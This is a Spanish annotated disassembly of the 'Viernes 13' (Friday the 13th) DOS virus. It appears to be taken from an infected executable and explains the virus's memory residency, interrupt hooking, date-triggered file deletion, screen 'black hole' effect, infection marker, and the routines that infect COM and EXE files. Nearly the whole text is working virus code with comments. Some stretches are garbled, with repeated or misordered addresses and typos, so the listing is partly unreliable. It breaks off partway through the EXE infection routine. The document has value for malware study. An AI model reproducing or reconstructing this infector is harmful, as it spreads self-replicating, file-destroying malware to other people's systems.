VIERNES 13

```
C:\WINDOWS\debug a:\autodemo\w3show.exe
31AE:0000 E99200          JMP     0095    ;punto de entrada para un programa
                                          ;infectado del tipo COM

31AE:0095 FC              CLD
31AE:0096 B4E0            MOV     AH,E0   ;ver si viernes13 ya esta
31AE:0098 CD21            INT     21      ;residente
31AE:009A 80FCE0          CMP     AH,E0
31AE:009D 7316            JNB     00B5
31AE:009F 80FC03          CMP     AH,03
31AE:00A2 7211            JB      00B5
31AE:00A4 B4DD            MOV     AH,DD
31AE:00A6 BF0001          MOV     DI,0100
31AE:00A9 BE1007          MOV     SI,0710
31AE:00AC 03F7            ADD     SI,DI
31AE:00AE 2E              CS:
31AE:00AF 8B8D1100        MOV     CX,[DI+0011]
31AE:00B3 CD21            INT     21
31AE:00B5 8CC8            MOV     AX,CS
31AE:00B7 051000          ADD     AX,0010
31AE:00BA 8ED0            MOV     SS,AX
31AE:00BC BC0007          MOV     SP,0700
31AE:00BF 50              PUSH    AX
31AE:00C0 B8C500          MOV     AX,00C5
31AE:00C3 50              PUSH    AX
31AE:00C4 CB              RETF
                          cs ajusta parado el PSP

31AE:00C5 FC              CLD     ;este es el punto de entrada para un
                                  ;programa infectado del tipo EXE
31AE:00C6 06              PUSH    ES
31AE:00C7 2E              CS:       cs ajusta parado el PSP
31AE:00C8 8C063100        MOV     [0031],ES ;guardar direccion del PSP
31AE:00CC 2E              CS:
31AE:00CD 8C063900        MOV     [0039],ES
31AE:00D1 2E              CS:
31AE:00D2 8C063D00        MOV     [003D],ES
31AE:00D6 2E              CS:
31AE:00D7 8C064100        MOV     [0041],ES
31AE:00DB 8CC0            MOV     AX,ES
31AE:00DD 051000          ADD     AX,0010
31AE:00E0 2E              CS:
31AE:00E1 01064900        ADD     [0049],AX
31AE:00E5 2E              CS:
31AE:00E6 01064500        ADD     [0045],AX;en la posicion 45 esta guardada
                                  ;la direccion segmento de la pila
                                  ;original del programa EXE
31AE:00EA B4E0            MOV     AH,E0   ;ver si viernes
31AE:00EC CD21            INT     21      ;esta residente
31AE:00EE 80FCE0          CMP     AH,E0
31AE:00F1 7313            JNB     0106    ;si no residente salta
31AE:00F3 80FC03          CMP     AH,03
31AE:00F6 07              POP     ES
31AE:00F7 2E              CS:
31AE:00F8 8E164500        MOV     SS,[0045]
31AE:00FC 2E              CS:
31AE:00FD 8B264300        MOV     SP,[0043]
31AE:0101 2E              CS:
31AE:0102 FF2E4700        JMP     FAR [0047];saltar al viernes residente
```

colocar junto al PSP el programa COM original y saltar hacia su código

inicializa la pila ss ajustando ~~dest~~ pasado el PSP

Siguiente para cambiar el valor de CS

reposicionar la dirección segmento del punto de entrada al programa EXE original

inicializa la pila con la dirección original del programa EXE.

punto de entrada del programa EXE

```
;Viernes13 no estaba residente.Codigo para quedar residente
31AE:0106 33C0            XOR     AX,AX
31AE:0108 8EC0            MOV     ES,AX    ;poner ES a cero
31AE:010A 26              ES:
31AE:010B A1FC03          MOV     AX,[03FC]
31AE:010E 2E              CS:
31AE:010F A34B00          MOV     [004B],AX
31AE:0112 26              ES:
31AE:0113 A0FE03          MOV     AL,[03FE]
31AE:0116 2E              CS:
31AE:0117 A24D00          MOV     [004D],AL
31AE:011A 26              ES:
31AE:011B C706FC03F3A5    MOV     WORD PTR [03FC],A5F3
31AE:0121 26              ES:
31AE:0122 C606FE03CB      MOV     BYTE PTR [03FE],CB
31AE:0127 58              POP     AX       ;direccion segmento del PSP en AX
31AE:0128 051000          ADD     AX,0010
31AE:012B 8EC0            MOV     ES,AX    ;ES apuntando al inicio del codigo
                                           ;del programa, es decir pasado el PSP
31AE:012D 0E              PUSH    CS
31AE:012E 1F              POP     DS       ;DS apuntando al segmento de codigo
                                           ;del virus
31AE:012F B91007          MOV     CX,0710
31AE:0132 D1E9            SHR     CX,1
31AE:0134 33F6            XOR     SI,SI
31AE:0136 8BFE            MOV     DI,SI
31AE:0138 06              PUSH    ES
31AE:0139 B84201          MOV     AX,0142
31AE:013C 50              PUSH    AX
31AE:013D EAFC030000      JMP     0000:03FC ;en esta posicion de salto se
                                           ;habia cargado el codigo siguiente:
                                           ;en [03FC] se puso A5F3
                                           ;en [03FE] se puso CB
                                           ;que en ensamble corresponde a
                                           ; REP MOVSW
                                           ; RET
                                           ;el codigo del virus se coloca
                                           ;inmediatamente despues del PSP
                                           ;la direccion de retorno es ES:0142
                                           ;que cae dentro de la zona de codigo
                                           ;trasladado y es equivalente a saltar
                                           ;a 31AE:0142 de este listado
31AE:0142 8CC8            MOV     AX,CS    ;al producirse el salto anterior
  CS apunta pasado el PSP                  ;CS ya no es 31AE segun este listado
                                           ;Ver el nuevo valor de CS
31AE:0144 8ED0            MOV     SS,AX    ;cargar SS y SP con los valores
31AE:0146 BC0007          MOV     SP,0700 ;correspondientes a la pila del
                                           ;virus
31AE:0149 33C0            XOR     AX,AX
31AE:014B 8ED8            MOV     DS,AX
31AE:014D 2E              CS:
31AE:014E A14B00          MOV     AX,[004B] ;restaurar los antiguos datos
31AE:0151 A3FC03          MOV     [03FC],AX ;de las posiciones 0000:03FC
31AE:0154 2E              CS:               ;
31AE:0155 A04D00          MOV     AL,[004D] ;
31AE:0158 A2FE03          MOV     [03FE],AL ;y 0000:03FE
31AE:015B 8BDC            MOV     BX,SP
31AE:015D B104            MOV     CL,04
31AE:015F D3EB            SHR     BX,CL    ;dividir BX por 16D
31AE:0161 83C310          ADD     BX,+10
31AE:0164 2E              CS:
31AE:0165 891E3300        MOV     [0033],BX
```

aqui el virus se esta preparando para dejar libre la memoria sobrante

```
31AE:0169 B44A          MOV     AH,4A
31AE:016B 2E            CS:
31AE:016C 8E063100      MOV     ES,[0031]       ;direccion del PSP en ES
31AE:0170 CD21          INT     21              ;ir de tirar tamaño de bloque de memoria
31AE:0172 B82135        MOV     AX,3521 ;Obtener vector
31AE:0175 CD21          INT     21      ;de int21h
31AE:0177 2E            CS:
31AE:0178 891E1700      MOV     [0017],BX       ;guardar vector
31AE:017C 2E            CS:                     ;de
31AE:017D 8C061900      MOV     [0019],ES       ;int21h
31AE:0181 0E            PUSH    CS
31AE:0182 1F            POP     DS      ;modificar vector de int21h
31AE:0183 BA5B02        MOV     DX,025B ;colocando en su lugar
31AE:0186 B82125        MOV     AX,2521 ;CS:025b  CS apuntando al PSP
31AE:0189 CD21          INT     21
31AE:018B 8E063100      MOV     ES,[0031]       ;direccion del PSP en ES
31AE:018F 26            ES:
31AE:0190 8E062C00      MOV     ES,[002C] ;preparandose para leer el
31AE:0194 33FF          XOR     DI,DI     ;ambiente del DOS que esta
31AE:0196 B9FF7F        MOV     CX,7FFF   ;copiado en el offset 2C del PSP
31AE:0199 32C0          XOR     AL,AL
31AE:019B F2            REPNZ
31AE:019C AE            SCASB
31AE:019D 26            ES:
31AE:019E 3805          CMP     [DI],AL
31AE:01A0 E0F9          LOOPNZ  019B
31AE:01A2 8BD7          MOV     DX,DI
31AE:01A4 83C203        ADD     DX,+03
31AE:01A7 B8004B        MOV     AX,4B00
31AE:01AA 06            PUSH    ES
31AE:01AB 1F            POP     DS      DS guardando el ambiente
31AE:01AC 0E            PUSH    CS
31AE:01AD 07            POP     ES      ES apuntando nuevo al PSP
31AE:01AE BB3500        MOV     BX,0035
31AE:01B1 1E            PUSH    DS
31AE:01B2 06            PUSH    ES
31AE:01B3 50            PUSH    AX
31AE:01B4 53            PUSH    BX
31AE:01B5 51            PUSH    CX
31AE:01B6 52            PUSH    DX
31AE:01B7 B42A          MOV     AH,2A   ;preguntar la fecha al sistema
31AE:01B9 CD21          INT     21
31AE:01BB 2E            CS:
31AE:01BC C6060E0000    MOV     BYTE PTR [000E],00
31AE:01C1 81F9C307      CMP     CX,07C3 ;ver si el a±o es 1987
31AE:01C5 7430          JZ      01F7    ;si es 1987 saltar
31AE:01C7 3C05          CMP     AL,05   ;ver si es viernes
31AE:01C9 750D          JNZ     01D8    ;saltar si no es viernes
31AE:01CB 80FA0D        CMP     DL,0D   ;ver si es dia 13
31AE:01CE 7508          JNZ     01D8    ;saltar si no es dia 13
31AE:01D0 2E            CS:
31AE:01D1 FE060E00      INC     BYTE PTR [000E];~~incrementar la cuenta~~ poner bandera
                                        ;de que el virus ha sido activado
                                        ;en un viernes dia 13 de un mes
                                        ;cualquiera de un a±o distinto
                                        ;de 1987
31AE:01D5 EB20          JMP     01F7
31AE:01D7 90            NOP
31AE:01D8 B80835        MOV     AX,3508 ;buscar vector de int8
31AE:01DB CD21          INT     21
31AE:01DD 2E            CS:
```

```
;1AE:01DE 891E1300        MOV     [0013],BX       ;guardar offset de int8
31AE:01E2 2E              CS:
31AE:01E3 8C061500        MOV     [0015],ES       ;guardar segmento de int8
31AE:01E7 0E              PUSH    CS
31AE:01E8 1F              POP     DS      DS apunta guardado el PSP
31AE:01E9 C7061F00907E    MOV     WORD PTR [001F],7E90;cuenta de tiempo
                                                      ;para sacar el agujero
                                                      ;negro por pantalla
31AE:01EF B80825          MOV     AX,2508 ;cambiar vector
31AE:01F2 BA1E02          MOV     DX,021E ;de int8 al valor CS:021E
31AE:01F5 CD21            INT     21
31AE:01F7 5A              POP     DX
31AE:01F8 59              POP     CX
31AE:01F9 5B              POP     BX
31AE:01FA 58              POP     AX
31AE:01FB 07              POP     ES
31AE:01FC 1F              POP     DS
31AE:01FD 9C              PUSHF
31AE:01FE 2E              CS:
31AE:01FF FF1E1700        CALL    FAR [0017];llamar a la int21 original
                                            ; con AX = 4B00 funcion EXEC
                                            ;
31AE:0203 1E              PUSH    DS      DS apuntando al archivo
31AE:0204 07              POP     ES
31AE:0205 B449            MOV     AH,49   ;liberar el bloque de memoria
31AE:0207 CD21            INT     21      ;apuntado por ES
31AE:0209 B44D            MOV     AH,4D
31AE:020B CD21            INT     21
31AE:020D B431            MOV     AH,31
31AE:020F BA0006          MOV     DX,0600
31AE:0212 B104            MOV     CL,04
31AE:0214 D3EA            SHR     DX,CL
31AE:0216 83C210          ADD     DX,+10
31AE:0219 CD21            INT     21

;rutina propia de viernes13 para el tratamiento de int24 (errores criticos)
31AE:021B 32C0            XOR     AL,AL
31AE:021D CF              IRET

;rutina propia de viernes13 para el tratamiento de int8
31AE:021E 2E              CS:
31AE:021F 833E1F0002      CMP     WORD PTR [001F],+02
31AE:0224 7517            JNZ     023D
31AE:0226 50              PUSH    AX
31AE:0227 53              PUSH    BX
31AE:0228 51              PUSH    CX
31AE:0229 52              PUSH    DX
31AE:022A 55              PUSH    BP
31AE:022B B80206          MOV     AX,0602 ;hacer el agujero negro
31AE:0230 B90505          MOV     CX,0505 ;en
31AE:0233 BA1010          MOV     DX,1010 ;la
31AE:0236 CD10            INT     10      ;pantalla
31AE:0238 5D              POP     BP
31AE:0239 5A              POP     DX
31AE:023A 59              POP     CX
31AE:023B 5B              POP     BX
31AE:023C 58              POP     AX
31AE:023D 2E              CS:
31AE:023E FF0E1F00        DEC     WURD PTR [001F]
31AE:0242 7512            JNZ     0256
```

acabar y parar a residente el virus

```
31AE:0244 2E              CS:
31AE:0245 C7061F000100    MOV     WORD PTR [001F],0001
31AE:024B 50              PUSH    AX
31AE:024C 51              PUSH    CX
31AE:024D 56              PUSH    SI
31AE:024E B90140          MOV     CX,4001
31AE:022E B787            MOV     BH,87
31AE:0230 B90505          MOV     CX,0505
31AE:0233 BA1010          MOV     DX,1010
31AE:0236 CD10            INT     10
31AE:0238 5D              POP     BP
31AE:0239 5A              POP     DX
31AE:023A 59              POP     CX
31AE:023B 5B              POP     BX
31AE:023C 58              POP     AX
31AE:023D 2E              CS:
31AE:023E FF0E1F00        DEC     WORD PTR [001F]
31AE:0242 7512            JNZ     0256
31AE:0244 2E              CS:
31AE:0245 C7061F000100    MOV     WORD PTR [001F],0001
31AE:024B 50              PUSH    AX
31AE:024C 51              PUSH    CX
31AE:024D 56              PUSH    SI
31AE:024E B90140          MOV     CX,4001
31AE:0251 F3              REPZ
31AE:0252 AC              LODSB
31AE:0253 5E              POP     SI
31AE:0254 59              POP     CX
31AE:0255 58              POP     AX
31AE:0256 2E              CS:
31AE:0257 FF2E1300        JMP     FAR [0013];saltar a int8 original


;*************************************************************
;comienzo de la rutina propia del virus par el tratamiento de int21h

31AE:025B 9C              PUSHF
31AE:025C 80FCE0          CMP     AH,E0     ;ver si preguntan por viernes13
31AE:025F 7505            JNZ     0266      ;si no es asi saltar
31AE:0261 B80003          MOV     AX,0300   ;responder poniendo 03 en AH
31AE:0264 9D              POPF              ;lo que indica al demandante
31AE:0265 CF              IRET              ;que viernes13 ya esta colocado

31AE:0266 80FCDD          CMP     AH,DD     ;ver si se llama a int21 funcion DD
31AE:0269 7413            JZ      027E      ;si es asi saltar
31AE:026B 80FCDE          CMP     AH,DE
31AE:026E 7428            JZ      0298
31AE:0270 3D004B          CMP     AX,4B00   ;ver si se llama a int21 para
                                            ;ejecutar un programa
31AE:0273 7503            JNZ     0278
31AE:0275 E9B400          JMP     032C      ;se llamo para ejecutar un programa
                                            ;ocasion de viernes13 para poder
                                            ;infectarlo.Saltar a la rutina de
                                            ;infeccion
31AE:0278 9D              POPF
31AE:0279 2E              CS:
31AE:027A FF2E1700        JMP     FAR [0017];saltar a la int21 original

31AE:027E 58              POP     AX        ;por de la flags introducido en 31AE:025B
31AE:027F 58              POP     AX        ;por de la flags introducidos en la llamada
31AE:0280 B80001          MOV     AX,0100                    a int21
```

```
31AE:0283 2E          CS:
31AE:0284 A30A00      MOV     [000A],AX
31AE:0287 58          POP     AX
31AE:0288 2E          CS:
31AE:0289 A30C00      MOV     [000C],AX
31AE:028C F3          REPZ
31AE:028D A4          MOVSB
31AE:028E 9D          POPF
31AE:028F 2E          CS:
31AE:0290 A10F00      MOV     AX,[000F]
31AE:0293 2E          CS:
31AE:0294 FF2E0A00    JMP     FAR [000A]
31AE:0298 83C406      ADD     SP,+06
31AE:029B 9D          POPF
31AE:029C 8CC8        MOV     AX,CS
31AE:029E 8ED0        MOV     SS,AX
31AE:02A0 BC1007      MOV     SP,0710
31AE:02A3 06          PUSH    ES
31AE:02A4 06          PUSH    ES
31AE:02A5 33FF        XOR     DI,DI
31AE:02A7 0E          PUSH    CS
31AE:02A8 07          POP     ES
31AE:02A9 B91000      MOV     CX,0010
31AE:02AC 8BF3        MOV     SI,BX
31AE:02AE BF2100      MOV     DI,0021
31AE:02B1 F3          REPZ
31AE:02B2 A4          MOVSB
31AE:02B3 8CD8        MOV     AX,DS
31AE:02B5 8EC0        MOV     ES,AX
31AE:02B7 2E          CS:
31AE:02B8 F7267A00    MUL     WORD PTR [007A]
31AE:02BC 2E          CS:
31AE:02BD 03062B00    ADD     AX,[002B]
31AE:02C1 83D200      ADC     DX,+00
31AE:02C4 2E          CS:
31AE:02C5 F7367A00    DIV     WORD PTR [007A]
31AE:02C9 8ED8        MOV     DS,AX
31AE:02CB 8BF2        MOV     SI,DX
31AE:02CD 8BFA        MOV     DI,DX
31AE:02CF 8CC5        MOV     BP,ES
31AE:02D1 2E          CS:
31AE:02D2 8B1E2F00    MOV     BX,[002F]
31AE:02D6 0BDB        OR      BX,BX
31AE:02D8 7413        JZ      02ED
31AE:02DA B90080      MOV     CX,8000
31AE:02DD F3          REPZ
31AE:02DE A5          MOVSW
31AE:02DF 050010      ADD     AX,1000
31AE:02E2 81C50010    ADD     BP,1000
31AE:02E6 8ED8        MOV     DS,AX
31AE:02E8 8EC5        MOV     ES,BP
31AE:02EA 4B          DEC     BX
31AE:02EB 75ED        JNZ     02DA
31AE:02ED 2E          CS:
31AE:02EE 8B0E2D00    MOV     CX,[002D]
31AE:02F2 F3          REPZ
31AE:02F3 A4          MOVSB
31AE:02F4 58          POP     AX
31AE:02F5 50          PUSH    AX
```

```
31AE:02F6 051000          ADD     AX,0010
31AE:02F9 2E              CS:
31AE:02FA 01062900        ADD     [0029],AX
31AE:02FE 2E              CS:
31AE:02FF 01062500        ADD     [0025],AX
31AE:0303 2E              CS:
31AE:0304 A12100          MOV     AX,[0021]
31AE:0307 1F              POP     DS
31AE:0308 07              POP     ES
31AE:0309 2E              CS:
31AE:030A 8E162900        MOV     SS,[0029]
31AE:030E 2E              CS:
31AE:030F 8B262700        MOV     SP,[0027]
31AE:0313 2E              CS:
31AE:0314 FF2E2300        JMP     FAR [0023]

31AE:0318 33C9            XOR     CX,CX       rutina para borrar archivo ejecutable
31AE:031A B80143          MOV     AX,4301     en viernes dia 13 ¡logro! del virus.
31AE:031D CD21            INT     21
31AE:031F B441            MOV     AH,41
31AE:0321 CD21            INT     21
31AE:0323 B8004B          MOV     AX,4B00
31AE:0326 9D              POPF
31AE:0327 2E              CS:
31AE:0328 FF2E1700        JMP     FAR [0017] ; llamar a int 21 original

;*********RUTINA DE INFECCION ,se llamo a int21 par ejecutar un programa
31AE:032C 2E              CS:
31AE:032D 803E0E0001      CMP     BYTE PTR [000E],01;ver la [redacted] banderas
                                                    ;[redacted] de [redacted] que
                                                    ;el virus estaba activo
                                                    ;en un viernes 13 de un ato
                                                    ;distinto de 1987
31AE:0332 74E4            JZ      0318    ;saltar para borrar archivo

31AE:0334 2E              CS:
31AE:0335 C7067000FFFF    MOV     WORD PTR [0070],FFFF ; handle borrado
31AE:033B 2E              CS:
31AE:033C C7068F000000    MOV     WORD PTR [008F],0000; quitar bandera indicadora de
                                                       que se ha pedido memoria.
31AE:0342 2E              CS:
31AE:0343 89168000        MOV     [0080],DX       ;DS:DX zona donde se encuen-
                                                  ;la especificacion del pro-
31AE:0347 2E              CS:                     ;grama a ejecutar
31AE:0348 8C1E8200        MOV     [0082],DS
31AE:034C 50              PUSH    AX
31AE:034D 53              PUSH    BX
31AE:034E 51              PUSH    CX
31AE:034F 52              PUSH    DX
31AE:0350 56              PUSH    SI
31AE:0351 57              PUSH    DI
31AE:0352 1E              PUSH    DS
31AE:0353 06              PUSH    ES
31AE:0354 FC              CLD
31AE:0355 8BFA            MOV     DI,DX
31AE:0357 32D2            XOR     DL,DL
31AE:0359 807D013A        CMP     BYTE PTR [DI+01],3A     ;3A codigo ascii de
                                                          ;los dos puntos ':'
31AE:035D 7505            JNZ     0364
31AE:035F 8A15            MOV     DL,[DI]
31AE:0361 80E21F          AND     DL,1F
31AE:0364 B436            MOV     AH,36
31AE:0366 CD21            INT     21
```

```
31AE:0368 3DFFFF          CMP     AX,FFFF ;ver si int21 funcion 36,no se eje-
                                          ;cuto correctamente
31AE:036B 7503            JNZ     0370    ;no hubo error
31AE:036D E97702          JMP     05E7    ;hubo error, saltar
31AE:0370 F7E3            MUL     BX
31AE:0372 F7E1            MUL     CX      ;en AX se tiene el nº de bytes
                                          ;disponibles en la unidad por la
                                          ;que se pregunto
31AE:0374 0BD2            OR      DX,DX
31AE:0376 7505            JNZ     037D
31AE:0378 3D1007          CMP     AX,0710 ;ver si el nº de bytes disponibles
                                          ;es suficiente para poder colocar el
                                          ;codigo infeccioso
31AE:037B 72F0            JB      036D    ;saltar si no queda sitio suficiente
                                          ;en el disco para poder infectar
31AE:037D 2E              CS:
31AE:037E 8B168000        MOV     DX,[0080];en [0080] se encuentra el offset
                                          ;de la direccion de la zona de
                                          ;especificacion del programa a
                                          ;ejecutar
31AE:0382 1E              PUSH    DS
31AE:0383 07              POP     ES      ;en ES la direccion segmento de la .
                                          ;zona de especificacion del programa
                                          ;a ejecutar
31AE:0384 32C0            XOR     AL,AL
31AE:0386 B94100          MOV     CX,0041 ;apuntar con ES:DI y
31AE:0389 F2              REPNZ           ;buscar el primer caracter nulo
31AE:038A AE              SCASB
31AE:038B 2E              CS:
31AE:038C 8B368000        MOV     SI,[0080];SI apuntando al comienzo de la
                                          ;zona de especificacion del programa
                                          ;a ejecutar
31AE:0390 8A04            MOV     AL,[SI] ;cargar AL con el caracter
31AE:0392 0AC0            OR      AL,AL   ;ver si es cero
31AE:0394 740E            JZ      03A4

31AE:0396 3C61            CMP     AL,61   ;ver si el caracter
31AE:0398 7207            JB      03A1    ;apuntado esta
31AE:039A 3C7A            CMP     AL,7A   ;entre la a y la z
31AE:039C 7703            JA      03A1    ;si es asi saltar a 03A1

31AE:039E 802C20          SUB     BYTE PTR [SI],20 ;mayuscular
31AE:03A1 46              INC     SI      ;apuntar al siguiente caracter
31AE:03A2 EBEC            JMP     0390

31AE:03A4 B90B00          MOV     CX,000B ;preparado para comparar dos cadenas
31AE:03A7 2BF1            SUB     SI,CX   ;de 11d octetos
31AE:03A9 BF8400          MOV     DI,0084 ;en [0084] esta la cadena COMMAND.COM
31AE:03AC 0E              PUSH    CS      ;por lo tanto se esta comprobando si
31AE:03AD 07              POP     ES      ;el programa a ejecutar es command.com
31AE:03AE B90B00          MOV     CX,000B
31AE:03B1 F3              REPZ
31AE:03B2 A6              CMPSB
31AE:03B3 7503            JNZ     03B8    ;si no es command.com saltar a 03B8
31AE:03B5 E92F02          JMP     05E7
31AE:03B8 B80043          MOV     AX,4300 ;buscar los atributos del archivo
31AE:03BB CD21            INT     21      ;que contiene el programa
31AE:03BD 7205            JB      03C4
31AE:03BF 2E              CS:
31AE:03C0 890E7200        MOV     [0072],CX;guardar atributos en [0072]
```

```
31AE:03C4 7225          JB      03EB
31AE:03C6 32C0          XOR     AL,AL
31AE:03C8 2E            CS:
31AE:03C9 A24E00        MOV     [004E],AL
31AE:03CC 1E            PUSH    DS
31AE:03CD 07            POP     ES
31AE:03CE 8BFA          MOV     DI,DX   ;DX recuerda tiene el offset de
                                        ;la direccion donde estan los
                                        ;parametros pasados en la llamada
                                        ;al archivo a ejecutar
31AE:03D0 B94100        MOV     CX,0041
31AE:03D3 F2            REPNZ           ;buscar primer caracter
31AE:03D4 AE            SCASB           ;no nulo
31AE:03D5 807DFE4D      CMP     BYTE PTR [DI-02],4D     ;ver si es m o M
31AE:03D9 740B          JZ      03E6                    ;el caracter ante-
31AE:03DB 807DFE6D      CMP     BYTE PTR [DI-02],6D     ;rior.En definitiva
31AE:03DF 7405          JZ      03E6                    ;ver si es COM
                                                        ;o EXE
31AE:03E1 2E            CS:
31AE:03E2 FE064E00      INC     BYTE PTR [004E] ;si EXE poner bandera

31AE:03E6 B8003D        MOV     AX,3D00 ;abrir el archivo en lectura
31AE:03E9 CD21          INT     21      ;DS:DX apunta al nombre
31AE:03EB 725A          JB      0447
31AE:03ED 2E            CS:
31AE:03EE A37000        MOV     [0070],AX;guardar el handle del archivo
31AE:03F1 8BD8          MOV     BX,AX
31AE:03F3 B80242        MOV     AX,4202 ;poner el apuntador del archivo
31AE:03F6 B9FFFF        MOV     CX,FFFF ;al final de este y con un offset
31AE:03F9 BAFBFF        MOV     DX,FFFB ;de -5 Decimal (fffffffbh)
31AE:03FC CD21          INT     21      ;la funcion devuelve en DX:AX el
                                        ;offset absoluto del principio del
                                        ;archivo
31AE:03FE 72EB          JB      03EB
31AE:0400 050500        ADD     AX,0005
31AE:0403 2E            CS:
31AE:0404 A33100        MOV     [0031],AX
31AE:0407 B90500        MOV     CX,0005 ;preparado para leer 5 bytes
31AE:040A BA6B00        MOV     DX,006B ;en DS:DX esta la zona de almacenamien
31AE:040D 8CC8          MOV     AX,CS
31AE:040F 8ED8          MOV     DS,AX
31AE:0411 8EC0          MOV     ES,AX
31AE:0413 B43F          MOV     AH,3F   ;leer del
31AE:0415 CD21          INT     21      ;archivo su handle ya estaba en BX

31AE:0417 8BFA          MOV     DI,DX   ;preparado para ver si esta infectado
31AE:0419 BE0500        MOV     SI,0005 ;en [0005] esta la cadena sUMsDOS
31AE:041C F3            REPZ
31AE:041D A6            CMPSB
31AE:041E 7507          JNZ     0427    ;no esta infectado saltar
31AE:0420 B43E          MOV     AH,3E   ;Cerrar el archivo, esta infectado
31AE:0422 CD21          INT     21
31AE:0424 E9C001        JMP     05E7

31AE:0427 B82435        MOV     AX,3524 ;buscar vector de int24
31AE:042A CD21          INT     21      ;tratamiento de errores criticos
31AE:042C 891E1B00      MOV     [001B],BX       ;guardar segmento
31AE:0430 8C061D00      MOV     [001D],ES       ;guardar offset
31AE:0434 BA1B02        MOV     DX,021B ;poner vector de int24 con la di-
31AE:0437 B82425        MOV     AX,2524 ;reccion de la rutina propia de
```

```
31AE:043A CD21            INT     21        ;viernes13
                                            ;con esto se ocultara si se produce
                                            ;algun error enmascarandolo
31AE:043C C5168000        LDS     DX,[0080];en [0080] esta la direccion
                                            ;donde se encuentra el nombre del
                                            ;archivo a ejecutar
31AE:0440 33C9            XOR     CX,CX
31AE:0442 B80143          MOV     AX,4301
31AE:0445 CD21            INT     21
31AE:0447 723B            JB      0484
31AE:0449 2E              CS:
31AE:044A 8B1E7000        MOV     BX,[0070];cerrar el archivo cuyo handle
31AE:044E B43E            MOV     AH,3E     ;esta guardado en [0070]
31AE:0450 CD21            INT     21

31AE:0452 2E              CS:
31AE:0453 C7067000FFFF    MOV     WORD PTR [0070],FFFF;borrar handle
31AE:0459 B8023D          MOV     AX,3D02 ;abrir el archivo cuyo nombre
31AE:045C CD21            INT     21      ;esta apuntado por DS:DX en
                                          ;modo de lectura escritura
31AE:045E 7224            JB      0484

31AE:0460 2E              CS:
31AE:0461 A37000          MOV     [0070],AX       ;guardar handle
31AE:0464 8CC8            MOV     AX,CS
31AE:0466 8ED8            MOV     DS,AX
31AE:0468 8EC0            MOV     ES,AX
31AE:046A 8B1E7000        MOV     BX,[0070]       ;buscar fecha y hora
31AE:046E B80057          MOV     AX,5700         ;del archivo
31AE:0471 CD21            INT     21
31AE:0473 89167400        MOV     [0074],DX       ;guardar fecha
31AE:0477 890E7600        MOV     [0076],CX       ;guardar hora
31AE:047B B80042          MOV     AX,4200 ;poner apuntador del archivo
31AE:047E 33C9            XOR     CX,CX   ;al comienzo de este
31AE:0480 8BD1            MOV     DX,CX
31AE:0482 CD21            INT     21
31AE:0484 723D            JB      04C3
31AE:0486 803E4E0000      CMP     BYTE PTR [004E],00      ;ver si COM
31AE:048B 7403            JZ      0490            ;si COM saltar
31AE:048D EB57            JMP     04E6    ;es EXE

              ;rutina par infectar programas COM
31AE:048F 90              NOP
31AE:0490 BB0010          MOV     BX,1000 ;pedir al sistema
31AE:0493 B448            MOV     AH,48   ;un bloque de
31AE:0495 CD21            INT     21      ;memoria
                                          ;la direccion segmento
                                          ;del bloque pedido, es devuelta
                                          ;dada en AX
31AE:0497 730B            JNB     04A4
31AE:0499 B43E            MOV     AH,3E           ;cerrar el archivo
31AE:049B 8B1E7000        MOV     BX,[0070]       ;cuya etiqueta esta
31AE:049F CD21            INT     21              ;guardada en [0070]
31AE:04A1 E94301          JMP     05E7

31AE:04A4 FF068F00        INC     WORD PTR [008F] ;poner bandera de que se ha pedido memoria.
31AE:04A8 8EC0            MOV     ES,AX   ;direccion segmento del bloque
                                          ;pedido en ES
31AE:04AA 33F6            XOR     SI,SI   ;SI a cero
31AE:04AC 8BFE            MOV     DI,SI   ;DI a cero
```

```
31AE:04AE B91007          MOV     CX,0710 ;CX con el tamaño del virus
31AE:04B1 F3              REPZ            ;colocar el codigo del virus
31AE:04B2 A4              MOVSB           ;en el bloque pedidido

31AE:04B3 8BD7            MOV     DX,DI   ;DI tiene ahora el valor 0710h
31AE:04B5 8B0E1100        MOV     CX,[0011];tamaño del archivo ejecutable
31AE:04B9 8B1E7000        MOV     BX,[0070];etiqueta del archivo ejecutable
31AE:04BD 06              PUSH    ES      ;copiar el archivo ejecutable
31AE:04BE 1F              POP     DS      ;a continuacion del codigo del
31AE:04BF B43F            MOV     AH,3F   ;virus
31AE:04C1 CD21            INT     21
31AE:04C3 721C            JB      04E1

31AE:04C5 03F9            ADD     DI,CX   ;

31AE:04C7 33C9            XOR     CX,CX   ;poner el apuntador
31AE:04C9 8BD1            MOV     DX,CX   ;al principio del archivo
31AE:04CB B80042          MOV     AX,4200
31AE:04CE CD21            INT     21

31AE:04D0 BE0500          MOV     SI,0005
31AE:04D3 B90500          MOV     CX,0005
31AE:04D6 F3              REPZ
31AE:04D7 2E              CS:
31AE:04D8 A4              MOVSB
31AE:04D9 8BCF            MOV     CX,DI
31AE:04DB 33D2            XOR     DX,DX
31AE:04DD B440            MOV     AH,40
31AE:04DF CD21            INT     21
31AE:04E1 720D            JB      04F0
31AE:04E3 E9BC00          JMP     05A2

                ;rutina para infectar programas EXE
31AE:04E6 B91C00          MOV     CX,001C ;lectura de
31AE:04E9 BA4F00          MOV     DX,004F ;la cabezera del
31AE:04EC B43F            MOV     AH,3F   ;archivo exe, guardar
31AE:04EE CD21            INT     21      ;en la zona de memoria
                                          ;DS:DX
31AE:04F0 724A            JB      053C
31AE:04F2 C706610084 19   MOV     WORD PTR [0061],1984
31AE:04F8 A15D00          MOV     AX,[005D]       ;segmento de pila en AX
31AE:04FB A34500          MOV     [0045],AX
31AE:04FE A15F00          MOV     AX,[005F]       ;offset de pila en AX
31AE:0501 A34300          MOV     [0043],AX
31AE:0504 A16300          MOV     AX,[0063]       ;IP de entrada en AX
31AE:0507 A34700          MOV     [0047],AX
31AE:050A A16500          MOV     AX,[0065]       ;CS de entrada en AX
31AE:050D A34900          MOV     [0049],AX
31AE:0510 A15300          MOV     AX,[0053]       ;nº de sectores de tamaño
                                                  ;200h que ocupa el archivo
                                                  ;EXE pasa a AX
31AE:0513 833E510000      CMP     WORD PTR [0051],+00;el archivo EXE con
                                                  ;toda probabilidad no ocu-
                                                  ;para un nº entero de sec-
                                                  ;tores de tamaño 200h,en-
                                                  ;tonces el resto esta en
                                                  ;[0051],aqui se comprueba
                                                  ;si es cero
31AE:0518 7401            JZ      051B
31AE:051A 48              DEC     AX
```

```
31AE:051B F7267800      MUL     WORD PTR [0078];multiplicar AX por 200h
                                               ;para convertirlo en n| de
                                               ;bytes
31AE:051F 03065100      ADD     AX,[0051]      ;sumarle el resto
31AE:0523 83D200        ADC     DX,+00
